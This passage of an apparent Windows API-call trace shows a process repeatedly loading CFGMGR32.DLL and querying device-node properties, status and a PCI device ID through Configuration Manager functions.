pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.709] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48dbf2fe, dwHighDateTime=0x1d9eb0c)) [0236.710] SetEvent (hEvent=0x248) returned 1 [0236.713] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.713] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.714] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.715] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.717] malloc (_Size=0x18) returned 0x20abc281ce0 [0236.717] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.718] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48dbf2fe, dwHighDateTime=0x1d9eb0c)) [0236.718] SetEvent (hEvent=0x248) returned 1 [0236.722] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.722] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.773] malloc (_Size=0x18) returned 0x20abc281e40 [0236.773] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.774] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48e57cbd, dwHighDateTime=0x1d9eb0c)) [0236.774] SetEvent (hEvent=0x248) returned 1 [0236.780] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.781] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.785] malloc (_Size=0x18) returned 0x20abc281ba0 [0236.785] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.790] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48e7dfca, dwHighDateTime=0x1d9eb0c)) [0236.790] SetEvent (hEvent=0x248) returned 1 [0236.795] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.795] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.799] malloc (_Size=0x18) returned 0x20abc281b20 [0236.799] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0236.799] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x48e7dfca, dwHighDateTime=0x1d9eb0c)) [0236.800] SetEvent (hEvent=0x248) returned 1 [0236.805] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.806] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.810] malloc (_Size=0x18) returned 0x20abc281ba0 [0236.810] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0236.811] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x48ea4770, dwHighDateTime=0x1d9eb0c)) [0236.811] SetEvent (hEvent=0x248) returned 1 [0236.815] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.815] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.880] malloc (_Size=0x18) returned 0x20abc281960 [0236.881] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0236.881] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48f62c86, dwHighDateTime=0x1d9eb0c)) [0236.882] SetEvent (hEvent=0x248) returned 1 [0236.889] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.889] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.893] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.893] malloc (_Size=0x18) returned 0x20abc281d20 [0236.894] CM_Get_Device_IDA (in: dnDevInst=0x29, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2934&SUBSYS_11001AF4&REV_03\\3&11583659&0&20") returned 0x0 [0236.894] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x48f62c86, dwHighDateTime=0x1d9eb0c)) [0236.894] SetEvent (hEvent=0x248) returned 1 [0236.902] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.902] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.906] malloc (_Size=0x18) returned 0x20abc282060 [0236.907] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0236.907] malloc (_Size=0x124) returned 0x20abc286870 [0236.919] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 